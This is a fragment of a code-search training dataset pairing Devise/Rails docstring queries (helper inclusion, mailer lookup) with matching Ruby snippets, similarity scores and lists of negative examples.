"def generate_password( len = 6 )\n charset = %w{ 2 3 4 6 7 9 A C D E F G H J K M N P Q R T V W X Y Z a c d e g h j k m n p q r v w x y z }\n (0...len).map{ charset.to_a[rand(charset.size)] }.join\nend",
"def random_suffix\n length = 10\n SecureRandom.random_number(36 ** length).to_s(36).rjust(length, '0')\n end",
"def generate_random(length = 32)\n (1..length).inject(\"\") { |token, _| token << CHOICES.sample }\n end",
"def generate_slug\n rand(36**@@string_length).to_s(36)\n end",
"def random_string\n\t# generate a bucket of chars for randomization\n\tbucket = [('a'..'z'),('A'..'Z'),(0..9)].map{|i| i.to_a}.flatten\n\t # pick random chars from the bucket and return a 255 char string\n\treturn (0...255).map{ bucket[rand(bucket.length)] }.join\nend",
"def identifier\n SecureRandom.hex(16)\n end"
] | [
"0.8415376",
"0.83537436",
"0.82351744",
"0.80652165",
"0.80566436",
"0.80488855",
"0.80250734",
"0.79541564",
"0.7876227",
"0.78434193",
"0.78111786",
"0.7808348",
"0.7807786",
"0.77982175",
"0.7790881",
"0.7783124",
"0.7762144",
"0.7751176",
"0.77394456",
"0.76737964",
"0.76680297",
"0.7602276",
"0.7571858",
"0.7490748",
"0.74592656",
"0.74549633",
"0.7452924",
"0.74505275",
"0.7387441",
"0.7384008",
"0.7383277",
"0.73778594",
"0.7374197",
"0.7369856",
"0.73688483",
"0.7308555",
"0.7277792",
"0.7276284",
"0.7266833",
"0.7259924",
"0.72584087",
"0.72431344",
"0.72431344",
"0.72431344",
"0.72431344",
"0.7236894",
"0.72337574",
"0.72323966",
"0.72281414",
"0.72213316",
"0.72136414",
"0.72083074",
"0.72069985",
"0.7193402",
"0.7163704",
"0.71629226",
"0.714158",
"0.71346587",
"0.71303976",
"0.71173114",
"0.71115744",
"0.7109821",
"0.71097463",
"0.7101179",
"0.7096484",
"0.70959777",
"0.7091437",
"0.70839584",
"0.70839584",
"0.70839584",
"0.70572144",
"0.70520824",
"0.70488787",
"0.7048776",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70473886",
"0.70454204",
"0.70372075",
"0.7037126",
"0.7034458",
"0.7031889",
"0.7026544",
"0.7005842",
"0.69799554",
"0.6973948",
"0.69736886",
"0.6961928",
"0.6956907"
] | 0.0 | -1 |
Include helpers in the given scope to AC and AV. source://devise//lib/devise.rb463 | def include_helpers(scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_scope(scope); end",
"def include_helpers(scope)\n ActiveSupport.on_load(:action_controller) do\n include scope::Helpers if defined?(scope::Helpers)\n #include scope::UrlHelpers\n end\n\n ActiveSupport.on_load(:action_view) do\n include scope::ViewHelpers\n end\n end",
"def scope_helper(*helpers)\n helpers.each do |helper|\n raise 'scope_helper should be a Module' unless helper.instance_of? Module\n @scope_helpers << helper\n end\n end",
"def devise_scope(scope)\n constraint = lambda do |request|\n request.env[\"devise.mapping\"] = Devise.mappings[scope]\n true\n end\n\n constraints(constraint) do\n yield\n end\n end",
"def translation_scope\n \"devise.#{controller_name}\"\n end",
"def helpers\n ApplicationController.helpers\n end",
"def helpers\n ApplicationController.helpers\n end",
"def devise_controller?; end",
"def devise_modules_hook!; end",
"def all_application_helpers; end",
"def add_discerner_user_method\n current_user_helper = options[\"current-user-helper\"].presence ||\n ask(\"What is the current_user helper called in your app? [current_user]\").presence ||\n 'current_user if defined?(current_user)'\n puts \"Defining discerner_user method inside ApplicationController...\"\n\n discerner_user_method = %Q{\n def discerner_user\n #{current_user_helper}\n end\n helper_method :discerner_user\n}\n inject_into_file(\"#{Rails.root}/app/controllers/application_controller.rb\",\n discerner_user_method,\n after: \"ActionController::Base\\n\", force: false)\n end",
"def helper_method(*methods)\n methods.flatten.each do |method|\n master_helper_module.module_eval <<-end_eval\n def #{method}(*args, &block) # def current_user(*args, &block)\n controller.send(%(#{method}), *args, &block) # controller.send(%(current_user), *args, &block)\n end # end\n end_eval\n end\n end",
"def helper\n @helper ||= ApplicationController.helpers\n end",
"def determine_current_user_helper\n current_user_helper = options[\"current-user-helper\"].presence ||\n ask(\"What will be the current_user helper called in your app? [current_user]\").presence ||\n :current_user\n\n puts \"Defining cadenero_user method inside ApplicationController...\"\n\n cadenero_user_method = %Q{\n def cadenero_user\n #{current_user_helper}\n end\n helper_method :cadenero_user\n\n}\n\n inject_into_file(\"#{Rails.root}/app/controllers/application_controller.rb\",\n cadenero_user_method,\n :after => \"ActionController::API\\n\")\n\n end",
"def additional_advanced_permissions_included resource,scope\n if resource.respond_to?(:policy) && resource.policy && (resource.policy.sharing_scope == scope) && resource.has_advanced_permissions?\n \"<span class='additional_permissions'>there are also additional Advanced Permissions defined below</span>\"\n end\n end",
"def authorize_admin_profiles\n authorize convention, :view_attendees?\n end",
"def helper_method(*meths)\n meths.flatten!\n self._helper_methods += meths\n\n meths.each do |meth|\n _helpers.class_eval <<-ruby_eval, __FILE__, __LINE__ + 1\n def #{meth}(*args, &blk) # def current_user(*args, &blk)\n controller.send(%(#{meth}), *args, &blk) # controller.send(:current_user, *args, &blk)\n end # end\n ruby_eval\n end\n end",
"def activate\n Layout.send :is_site_scoped, :shareable => true\n Snippet.send :is_site_scoped, :shareable => true\n User.send :is_site_scoped, :shareable => true\n ApplicationHelper.send :include, ScopedHelper\n \n unless admin.users.edit.form && admin.users.edit.form.include?('choose_site')\n admin.users.edit.add :form, \"choose_site\", :after => \"edit_roles\" \n admin.layouts.edit.add :form, \"choose_site\", :before => \"edit_timestamp\" \n admin.snippets.edit.add :form, \"choose_site\", :before => \"edit_filter\" \n end\n end",
"def define_helpers; end",
"def devise_mappings; end",
"def helpers &blk\n @helpers = blk\n end",
"def add_values_application_controller\n inject_into_class \"app/controllers/application_controller.rb\", \"ApplicationController\" do\n \" helper_method :current_user \\n \" +\n \" after_filter :path \\n\"+\n \" private \\n\" +\n \" def current_user \\n\" +\n \" table_name = Rails.application.config.devise_model_name.titlecase \\n\"+\n \" @table_name = table_name.constantize \\n\"+\n \" @current_user ||= @table_name.find(session[:user_id]) if session[:user_id] \\n\\n\" +\n \" end \\n\\n\" +\n \" def path \\n\"+\n \" path= request.path \\n\"+\n \" notice = request.flash[:notice] \\n\"+\n \" @devise_model_name = Rails.application.config.devise_model_name \\n\"+\n \" if path == '/'+@devise_model_name+'s/sign_up' && notice == 'This is one time process' \\n\"+\n \" count =+ 1 \\n\"+\n \" if count == 1 \\n\"+\n \" session[:last_get_url] = '1' \\n\"+\n \" end \\n\"+\n \" else \\n\"+\n \" count = 0 \\n\"+\n \" session[:last_get_url] = '0' \\n\"+\n \" end \\n\"+\n \" end \\n\\n\"+\n \" def after_sign_in_path_for(current_user) \\n\"+\n \" last_get_url = session[:last_get_url] \\n\"+\n \" if session[:last_get_url].to_s == '1' \\n\"+\n \" @devise_model_name = Rails.application.config.devise_model_name \\n\"+\n \" table_name = Rails.application.config.devise_model_name.titlecase \\n\"+\n \" @table_name = table_name.constantize\\n\"+\n \" @user = @table_name.find_by_id(current_user) \\n \" +\n \" @socialAccounts = SocialAccount.find_by_user_id(@user.id.to_s) \\n\\n\"+\n \" if @socialAccounts \\n \"+\n \" session[:user_id] = @user.id \\n\"+\n \" sign_in(@user) \\n\"+\n \" return root_path \\n\"+\n \" else \\n\"+\n \" @newaccount = SocialAccount.new \\n\"+\n \" @newaccount.user_id = @user.id \\n\"+\n \" @newaccount.provider = session[:auth_provider] \\n\"+\n \" @newaccount.uid = session[:auth_uid] \\n\"+\n \" @newaccount.account_name = session[:auth_account_name] \\n\"+\n \" @newaccount.save! \\n\"+\n \" session[:user_id] = @user.id \\n\"+\n \" sign_in(@user) \\n\"+\n \" return root_path \\n\"+\n \" end \\n\"+\n \" else \\n\"+\n \" session.delete(:auth_provider) \\n\"+\n \" session.delete(:auth_uid) \\n\"+\n \" session.delete(:auth_account_name) \\n\"+\n \" return root_path \\n\"+\n \" end \\n\"+\n \" end \\n\\n\"\n end #EO inject_into_class\n end",
"def evaluate(scope, locals, &block)\n scope.instance_eval { extend Slim::Helpers } if options[:helpers]\n super\n end",
"def helpers; end",
"def helpers; end",
"def helpers; end",
"def common_abilities_for_admins(user)\n can :access, Admin\n can :manage, :all if user.is_admin?\n\n conf_ids_for_organizer = Conference.with_role(:organizer, user).pluck(:id)\n conf_ids_for_cfp = Conference.with_role(:cfp, user).pluck(:id)\n conf_ids_for_info_desk = Conference.with_role(:info_desk, user).pluck(:id)\n\n if conf_ids_for_organizer\n # To access splashpage of their conference if it is not public\n can :show, Conference, id: conf_ids_for_organizer\n # To access conference/proposals/registrations\n can :manage, Registration, conference_id: conf_ids_for_organizer\n # To access conference/proposals\n can :manage, Event, program: { conference_id: conf_ids_for_organizer }\n # To access comment link in menu bar\n can :index, Comment, commentable_type: 'Event',\n commentable_id: Event.where(program_id: Program.where(conference_id: conf_ids_for_organizer).pluck(:id)).pluck(:id)\n end\n\n if conf_ids_for_cfp\n # To access comment link in menu bar\n can :index, Comment, commentable_type: 'Event',\n commentable_id: Event.where(program_id: Program.where(conference_id: conf_ids_for_cfp).pluck(:id)).pluck(:id)\n # To access conference/proposals\n can :manage, Event, program: { conference_id: conf_ids_for_cfp }\n end\n\n if conf_ids_for_info_desk\n # To access conference/proposals/registrations\n can :manage, Registration, conference_id: conf_ids_for_info_desk\n end\n end",
"def define_helper(scope, method, *args, **kwargs, &block); end",
"def modules_for_helpers(modules_or_helper_prefixes); end",
"def helpers\n ActionController::Base.helpers\n end",
"def include_abingo_views\n\t\tmodule_eval ABingoCampingPlugin::Views.abingo_view_helpers\n\t\tmodule_eval ABingoCampingPlugin::Views.common_abingo_views\n\n\t\tmodule_eval do\n\t\t\tapp_module_name = self.to_s.split(\"::\").first\t\n\t\t\tmab_class_name = \"#{app_module_name}::Mab\"\t\n\t\t\tmab_class = mab_class_name.constantize\n\n#\t\t\tunless mab_class.public_instance_methods.include? 'register' \n#\t\t\t\tmodule_eval ABingoCampingPlugin::Views.register_view\n#\t\t\tend\n\t\tend\n\t\t\n\tend",
"def adapter_helpers(adapter)\n adapter.class.ancestors.each_with_object([]) do |klass, ret|\n next unless klass.is_a?(Class)\n next unless klass.const_defined?(HELPERS_MODULE_NAME)\n ret.unshift klass.const_get(HELPERS_MODULE_NAME)\n end\n end",
"def helper_method(*methods)\n ruby2_kw = RUBY_VERSION >= '2.7' ? 'ruby2_keywords ' : ''\n\n methods.flatten.each do |method|\n master_helper_module.module_eval <<-end_eval\n #{ruby2_kw} def #{method}(*args, &block) # (ruby2_keywords) def current_user(*args, &block)\n controller.send(%(#{method}), *args, &block) # controller.send(%(current_user), *args, &block)\n end # end\n end_eval\n end\n end",
"def helpers(&block)\n Helpers.class_eval(&block)\n end",
"def helpers\n ActionController::Base.helpers\n end",
"def helpers\n ActionController::Base.helpers\n end",
"def helpers\n ActionController::Base.helpers\nend",
"def poise_spec_helpers\n @poise_spec_helpers ||= {resources: {}, providers: {}}\n end",
"def helpers\n @_helper_proxy ||= view_context\n end",
"def helper(*helpers)\r\n helper_object.extend *helpers\r\n end",
"def include_abingo_controllers\n\t\tmodule_eval ABingoCampingPlugin::Controllers.common_abingo_controllers\n\n\t\t# Add ABingo to each controller by traversing @r, the list of controllers\n\t\t# and including the needed ABingo modules\n\t\[email protected] do |x| \n\t\t\tx.class_eval do\n\t\t\t\tinclude ABingoCampingPlugin::ABingo\n\t\t\t\tinclude ABingoCampingPlugin::Helpers\n\t\t\tend\n\t\tend\t\t\t\n\tend",
"def policy_scopes; end",
"def add_abstractor_user_method\n current_user_helper = options[\"current-user-helper\"].presence ||\n ask(\"What is the current_user helper called in your app? [current_user]\").presence ||\n 'current_user if defined?(current_user)'\n puts \"Defining abstractor_user method inside ApplicationController...\"\n\n abstractor_user_method = %Q{\n def abstractor_user\n #{current_user_helper}\n end\n helper_method :abstractor_user\n}\n inject_into_file(\"#{Rails.root}/app/controllers/application_controller.rb\",\n abstractor_user_method,\n :after => \"ActionController::Base\\n\")\n end",
"def register_framework_extensions\n register Padrino::Mailer if padrino_mailer?\n register Padrino::Helpers if padrino_helpers?\n register Padrino::Admin::AccessControl if authentication?\n end",
"def helper(*klazzes)\n klazzes.each { |klazz| self.class.send(:include, klazz) }\n end",
"def access_control\n \n end",
"def authenticate_scope!\n \n \n do_before_request \n\n end",
"def authen_method_guest!()\n @authen_method = TAC_PLUS_AUTHEN_METH_GUEST\n end",
"def custom_permissions\n\n campus = \"bakersfield\" if current_user.email.include?(\"bakersfield.edu\")\n campus = \"chancellor\" if current_user.email.include?(\"calstate.edu\")\n campus = \"channel\" if current_user.email.include?(\"ci.edu\")\n campus = \"chico\" if current_user.email.include?(\"chico.edu\")\n campus = \"dominguez\" if current_user.email.include?(\"dh.edu\")\n campus = \"eastbay\" if current_user.email.include?(\"eb.edu\")\n campus = \"fresno\" if current_user.email.include?(\"fresno.edu\")\n campus = \"fullerton\" if current_user.email.include?(\"fullerton.edu\")\n campus = \"humboldt\" if current_user.email.include?(\"humboldt.edu\")\n campus = \"longbeach\" if current_user.email.include?(\"lb.edu\")\n campus = \"losangeles\" if current_user.email.include?(\"la.edu\")\n campus = \"maritime\" if current_user.email.include?(\"maritime.edu\")\n campus = \"mlml\" if current_user.email.include?(\"mlml.edu\")\n campus = \"northridge\" if current_user.email.include?(\"northridge.edu\")\n campus = \"pomona\" if current_user.email.include?(\"bronco.edu\")\n campus = \"sacramento\" if current_user.email.include?(\"sacramento.edu\")\n campus = \"sanfrancisco\" if current_user.email.include?(\"sf.edu\")\n campus = \"sanmarcos\" if current_user.email.include?(\"sanmarcos.edu\")\n campus = \"sonoma\" if current_user.email.include?(\"sonoma.edu\")\n campus = \"stanislaus\" if current_user.email.include?(\"stanislaus.edu\")\n\n user_groups.push(campus)\n\n # admin\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def authen_method_tacacsplus!()\n @authen_method = TAC_PLUS_AUTHEN_METH_TACACSPLUS\n end",
"def _prefixes #:nodoc:\n @_prefixes ||= if self.class.scoped_views? && request && devise_mapping\n [\"#{devise_mapping.scoped_path}/#{controller_name}\"] + super\n else\n super\n end\n end",
"def user_provider; end",
"def devise_i18n_options(options)\n options[:scope] = \"devise.registrations\"\n options\n end",
"def install_helpers # :nodoc:\n mod = @module\n ActionView::Base.class_eval do\n include mod\n end\n end",
"def authen_method_local!()\n @authen_method = TAC_PLUS_AUTHEN_METH_LOCAL\n end",
"def helpers(*extensions, &block)\n self.class.helpers(*extensions, &block)\n end",
"def helpers\n ActionController::Base.helpers # you can also try @template.helpers OR self.class.helpers OR include ActionView::Helpers\n end",
"def helpers(helper_name)\r\n extend _package_.load_helper(helper_name)\r\n end",
"def activate\n # admin.tabs.add \"Ae Users Authenticator\", \"/admin/ae_users_authenticator\", :after => \"Layouts\", :visibility => [:all]\n User.send :include, AeUsersAuthenticator\n end",
"def helpers_paths; end",
"def helpers_paths; end",
"def helpers_paths; end",
"def helpers_paths; end",
"def user_permissions\n if user_signed_in? && (current_user.is_logistics? || current_user.is_clerical? || current_user.is_vendor? || current_user.is_customer?)\n authorize! :edit, Element\n end\n end",
"def extra_scopes()\n @scopes_added_by_common_scopes\n end",
"def access_required?\n user_signed_in? &&\n !devise_controller? &&\n !%w(\n subscriptions\n accounts\n ).include?(controller_name)\n end",
"def extend_authorization(country_code_iso, optional_params = {})\n response = Network.post(['Fraud', 'Extend', country_code_iso], optional_params)\n Fraud.new(response)\n end",
"def authorize_access\r\n # authorize!(action_name.to_sym, \"#{controller_name}_controller\".camelcase.constantize)\r\n end",
"def disable_devise_for_cloudfuji_controllers!\n puts \"Disabling devise auth protection on cloudfuji controllers\"\n\n ::Cloudfuji::DataController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n ::Cloudfuji::EnvsController.instance_eval { before_filter :authenticate_user!, :except => [:update] }\n ::Cloudfuji::MailController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n\n puts \"Devise checks disabled for Cloudfuji controllers\"\n end",
"def app_helpers\n @app_helpers ||= Class.new do\n include Rails.application.routes.url_helpers\n include ::ApplicationHelper\n end.new\n end",
"def options\n render \"devise/shared/_links\"\n end",
"def helper_method(*methods); end",
"def helpers(*extensions, &block)\n instance_eval(&block) if block\n extend(*extensions) if extensions.any?\n end",
"def authorization; end",
"def has_access(atts)\n atts[:controller] = atts[:controller] ? atts[:controller] : params[:controller]\n atts[:action] = atts[:action] ? atts[:action] : params[:action]\n atts[:user] = atts[:user] && atts[:user].is_a?(User) ? atts[:user] : current_user\n atts[:entity_id] = params[:id] ? params[:id] : nil\n\n logger.debug \"atts[:controller]: \" + atts[:controller]\n logger.debug \"atts[:action]: \" + atts[:action]\n logger.debug \"atts[:user]: \" + (atts[:user] ? atts[:user].username : \"\")\n logger.debug \"atts[:entity_id]: \" + (atts[:entity_id] ? atts[:entity_id].to_s : \"\")\n\n case atts[:controller]\n when \"comments\"\n @res = comments_filter(atts[:action], {\n :user => atts[:user],\n :comment_id => atts[:entity_id]\n })\n when \"users\"\n @res = users_filter(atts[:action], {\n :user => atts[:user],\n :entity_id => atts[:entity_id]\n })\n when \"players\"\n @res = players_filter(atts[:action], {\n :user => atts[:user],\n :player_id => atts[:entity_id]\n })\n when \"leagues\"\n @res = leagues_filter(atts[:action], {\n :user => atts[:user],\n :league_id => atts[:entity_id]\n })\n when \"teams\"\n @res = teams_filter(atts[:action], {\n :user => atts[:user],\n :team_id => atts[:entity_id]\n })\n when \"games\"\n @res = games_filter(atts[:action], {\n :user => atts[:user],\n :game_id => atts[:entity_id]\n })\n when \"halls\"\n @res = halls_filter(atts[:action], {\n :user => atts[:user],\n :hall_id => atts[:entity_id]\n })\n when \"images\"\n @res = images_filter(atts[:action], {\n :user => atts[:user],\n :image_id => atts[:entity_id]\n })\n when \"plugins\"\n @res = plugins_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"wikis\"\n @res = wikis_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"events\"\n @res = events_filter(atts[:action], {\n :user => atts[:user],\n })\n else\n @res = true\n end\n\n # kdyz nemam prava, nemam pristup\n if !@res\n access_denied\n end\n end",
"def mounted_helpers; end",
"def ransackable_scopes(_auth_object = nil)\n %i(grades)\n end",
"def authenticate_scope!\n super\n end",
"def helper *helpers, &proc\n helpers.each { |h| @helpers[h] = proc }\n self\n end",
"def devise_ip_authentication(mapping, controllers)\n resource :ip_authentication, only: %i(show), path: mapping.path_names[:ip_authentication],\n controller: controllers[:ip_authentications]\n end",
"def helpers(&helpers_block)\n @helpers_block = helpers_block\n end",
"def authorize_link usr = nil, thing = nil, typ = nil\n what_we_know = case thing.class.name\n when 'Store'\n {:target_id => thing.id, :target_type => 'Store'}\n when 'Location', 'String', 'Fixnum'\n {:target_id => (thing.is_a?(Location) ? thing.id : thing), :target_type => 'Location'}\n else\n {}\n end\n what_we_know.merge!(:user_id => usr.id) if usr\n what_we_know.merge!(:authorization_type => typ) if typ\n if usr && thing && typ\n if Authorization.find_by_authorization_type_and_target_id_and_target_type_and_user_id(typ, what_we_know[:target_id], what_we_know[:target_type], usr.id)\n \"#{usr.login} can #{Authorization.type_hash[typ]} at #{what_we_know[:target_type].constantize.send(:find, what_we_know[:target_id]).name}\"\n else\n '<span id=\"' + \"user_#{usr.id}_#{what_we_know[:target_type].downcase}_#{what_we_know[:target_id]}_#{typ}\" + '\">' + link_to_remote(\"authorize #{usr.login}#{' (' + usr.name + ') ' unless usr.name.blank?} to #{Authorization.type_hash[typ]} at {what_we_know[:target_type].constantize.send(:find, what_we_know[:target_id]).name}\",\n :url => authorizations_path(:authorization => what_we_know), :update => \"user_#{usr.id}_#{what_we_know[:target_type].downcase}_#{what_we_know[:target_id]}_#{typ}\") + '</span>'\n end\n else\n link_to \"authorize#{' ' + usr.login if usr}#{' (' + usr.name + ')' unless !usr || usr.name.blank?}#{' to ' + Authorization.type_hash[typ] if typ}#{' at ' + what_we_know[:target_type].constantize.send(:find, what_we_know[:target_id]).name if thing}\", new_authorization_path(:authorization => what_we_know)\n end\n end",
"def auth_methods; end",
"def auto_detect_scope(*args)\n options = args.extract_options!\n\n if options.key?(:for)\n options[:scope] = options[:for]\n ::ActiveSupport::Deprecation.warn(\"DEPRECATION: \" <<\n \"Devise scope :for option is deprecated. \" <<\n \"Use: facebook_*_link(:some_scope), or facebook_*_link(:scope => :some_scope)\")\n end\n\n scope = args.detect { |arg| arg.is_a?(Symbol) } || options[:scope] || ::Devise.default_scope\n mapping = ::Devise.mappings[scope]\n\n if mapping.for.include?(:facebook)\n scope\n else\n error_message =\n \"%s\" <<\n \" Did you forget to devise facebook_connect in your model? Like this: devise :facebook_connectable.\" <<\n \" You can also specify scope explicitly, e.g.: facebook_*link :for => :customer.\"\n error_message %=\n if scope.present?\n \"#{scope.inspect} is not a valid facebook devise scope. \" <<\n \"Loaded modules for this scope: #{mapping.for.inspect}.\"\n else\n \"Could not auto-detect any facebook_connectable devise scope.\"\n end\n raise error_message\n end\n end",
"def authorize_with(&blk)\n @authorize_with = blk if blk\n @authorize_with\n end",
"def helpers\n unless @helper_proxy\n @helper_proxy = ActionView::Base.new\n @helper_proxy.extend master_helper_module\n else\n @helper_proxy\n end\n end",
"def link_to_authorize_social(provider, options={})\n from = options[:from]\n friendly_provider = provider.to_s.split(\"_\").first\n case from\n when :account\n if current_user.has_auth?(provider)\n link_to friendly_provider, \"javascript:void(0)\", class: \"dev #{friendly_provider}-added\"\n else\n link_to friendly_provider, user_omniauth_authorize_path(provider), class: friendly_provider\n end\n when :signup\n if current_user.has_auth?(provider)\n link_to \"javascript:void(0)\", class: \"btn btn-large #{friendly_provider}\" do\n content_tag(:i, \"\", class: \"icon-#{friendly_provider}-sign icon-large\") + \" #{friendly_provider} Added\"\n end\n else\n link_to user_omniauth_authorize_path(provider), class: \"btn btn-large #{friendly_provider}\" do\n content_tag(:i, \"\", class: \"icon-#{friendly_provider}-sign icon-large\") + \" Connect #{friendly_provider}\"\n end\n end\n when :signin\n link_to user_omniauth_authorize_path(provider), class: \"#{friendly_provider}\" do\n content_tag(:i, \"\", class: \"icon-#{friendly_provider}-sign icon-3x\")\n end\n end\n end",
"def require_privilege(scope)\n # check if client has the required scope\n doorkeeper_authorize! scope\n return if performed?\n\n # check if user has heightened privileges\n case scope\n when :admin_all\n if not current_user.administrator?\n raise ApiError.new(\"User does not have admin privileges\", :forbidden)\n end\n when :instructor_all\n # @cud must have been set if the before_action order is correct\n if not @cud.instructor\n raise ApiError.new(\"User does not have instructor privileges for this course\", :forbidden)\n end\n end\n end",
"def get_helpers\n @helpers\n end",
"def auth_options\n { scope: resource_name, recall: \"#{controller_path}#unauthorized\" }\n end",
"def administrator_rights\n Lockdown::System.all_controllers_all_methods\n end",
"def user_auth_helper_path(network)\n # TODO: Needs to get networks from config or user\n allowed_networks = Rails.configuration.allowed_networks\n\n network = network.to_sym\n\n if allowed_networks.has_key?(network)\n if allowed_networks[network][:method] == :open_id\n user_omniauth_authorize_path(allowed_networks[network][:method], :openid_url => allowed_networks[network][:url])\n else\n user_omniauth_authorize_path(allowed_networks[network][:method])\n end\n else\n raise 'Unkown authentication method'\n end\n end",
"def helper_methods\n members - PREDICATE_FIELDS + PREDICATE_FIELDS.map { |f| \"#{f}?\".to_sym }\n end",
"def mixins(*scopes); end",
"def authenticates_access\n include InstanceMethods\n end",
"def include_abilities(serializer_options, scope=:root)\n serializer_options.include_ability(\n scope: scope,\n create: serializer_options.ownerable_ability[:create],\n destroy: serializer_options.ownerable_ability[:destroy],\n )\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def define_action_helpers; end",
"def user_consenting; end",
"def accessible_scopes\n [uid, shared_space.try(:uid)].compact\n end"
] | [
"0.67678535",
"0.6391462",
"0.5997977",
"0.57599056",
"0.56406826",
"0.5548768",
"0.5548768",
"0.551162",
"0.54747325",
"0.54161847",
"0.5395618",
"0.5388058",
"0.53593373",
"0.53518903",
"0.5329977",
"0.53148067",
"0.52538776",
"0.5228034",
"0.5228033",
"0.5220419",
"0.51732874",
"0.5163186",
"0.5159186",
"0.5155321",
"0.5155321",
"0.5155321",
"0.51509106",
"0.5125965",
"0.510786",
"0.5106258",
"0.5080167",
"0.50796515",
"0.50591844",
"0.50562984",
"0.50007194",
"0.50007194",
"0.49992773",
"0.49986964",
"0.49915126",
"0.4988562",
"0.49848518",
"0.4984021",
"0.49542326",
"0.4951069",
"0.4948418",
"0.49482414",
"0.49251094",
"0.49178496",
"0.49125123",
"0.49070156",
"0.49064535",
"0.4895406",
"0.48906854",
"0.4890081",
"0.488727",
"0.48782024",
"0.48632884",
"0.48492277",
"0.4845999",
"0.48345625",
"0.48345625",
"0.48345625",
"0.48345625",
"0.483351",
"0.4825146",
"0.48131403",
"0.48069578",
"0.47935453",
"0.47898677",
"0.4789098",
"0.4784933",
"0.47832763",
"0.47793922",
"0.47774523",
"0.47700813",
"0.4767739",
"0.47668484",
"0.47564322",
"0.4750669",
"0.4726298",
"0.47218877",
"0.47112212",
"0.46981856",
"0.469096",
"0.46893004",
"0.46892118",
"0.46879402",
"0.46875685",
"0.46867448",
"0.4685038",
"0.4679344",
"0.4678959",
"0.4678171",
"0.4676247",
"0.4670809",
"0.46669775",
"0.46667135",
"0.46655852",
"0.46655807",
"0.46651727"
] | 0.66385967 | 1 |
Get the mailer class from the mailer reference object. source://devise//lib/devise.rb349 | def mailer; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mailer_class\n Object.const_get(self.class.to_s)\n end",
"def mailer\n @mailer_ref.get\n end",
"def mailer=(class_name)\n ActiveSupport::Dependencies.reference(class_name)\n @mailer_ref = Getter.new(class_name)\n end",
"def class\n NameMailer.class\n end",
"def mailer=(class_name); end",
"def as_email_class\n as_class('Email')\n end",
"def parent_mailer_class\n config[:parent_mailer].presence&.constantize || EffectiveResources.parent_mailer_class\n end",
"def name\n ClassMailer.name\n end",
"def mailer\n @_controller\n end",
"def mailer\n @_controller\n end",
"def mailer\n ExamplerailsMailer.mailer\n end",
"def confirmation_mailer_class(value = nil)\n rw_config(:confirmation_mailer_class, value, :UserMailer)\n end",
"def mailer_to\n resolve_value(_notification_email)\n end",
"def mailboxer_email(object)\n return email\n end",
"def mailboxer_email(object)\n self.email\n end",
"def mailboxer_email(object)\n email\n end",
"def mailboxer_email(object)\n email\n end",
"def mailboxer_email(_object)\n email\n end",
"def mailboxer_email(object)\n\t email\n\tend",
"def mailboxer_name\n self.name\n end",
"def example_mailer\n ExamplerailsMailer.example_mailer\n end",
"def mailboxer_email(object)\n #Check if an email should be sent for that object\n if send_notification_mails == true\n return email\n else\n return nil\n end\n end",
"def mailboxer_email(obj=nil)\n return nil\n end",
"def initialize mailer=\"mutt\"\n @mailer = mailer\n end",
"def email\n find_by_type('email')\n end",
"def set_register_mailer\n @register_mailer = RegisterMailer.find(params[:id])\n end",
"def set_customer_mailer\n @customer_mailer = CustomerMailer.find(params[:id])\n end",
"def admin_email\n ContactMailer.admin_email\n end",
"def user_class\n Merb::Authentication.user_class\n end",
"def get_mail_account\n\n return nil if self.mail_account_id.nil?\n\n return MailAccount.find_by_id(self.mail_account_id)\n end",
"def __getobj__ # :nodoc:\n @mail_message ||= processed_mailer.message\n end",
"def to_supporter\n ReviewMailer.to_supporter\n end",
"def email\n preferred_email\n end",
"def email\n mail.first\n end",
"def email\n mail.first\n end",
"def validate_mailer_defined\n msg = 'To use magic_login submodule, you must define a mailer (config.magic_login_mailer_class = YourMailerClass).'\n raise ArgumentError, msg if @sorcery_config.magic_login_mailer_class.nil? && @sorcery_config.magic_login_mailer_disabled == false\n end",
"def recipient\n case self.class.to_s\n when \"Survey\"\n giver\n when \"User\"\n self\n else\n raise 'Not implemented.'\n end\n end",
"def email\n @maintainers.first['email']\n end",
"def contact_email\n UserMailer.contact_email\n end",
"def mailboxer_email(object)\n #If actor has disabled the emails, return nil.\n return nil if !notify_by_email\n #If actor has enabled the emails and has email\n return \"#{name} <#{email}>\" if email.present?\n #If actor is a Group, has enabled emails but no mail we return the highest_rank ones.\n if (group = self.subject).is_a? Group\n relation = group.relation_customs.sort.first\n receivers = group.contact_actors(:direction => :sent, :relations => relation)\n emails = Array.new\n receivers.each do |receiver|\n receiver_emails = receiver.mailboxer_email(object)\n case receiver_emails\n when String\n emails << receiver_emails\n when Array\n receiver_emails.each do |receiver_email|\n emails << receiver_email\n end\n end\n end\n return emails\n end\n end",
"def by_mail_tracker\n end",
"def bounced_email_handler\n if @__bounced_email_handler.is_a?(String)\n @__bounced_email_handler = @__bounced_email_handler.constantize\n end\n @__bounced_email_handler\n end",
"def Method\n ClassMailer.Method\n end",
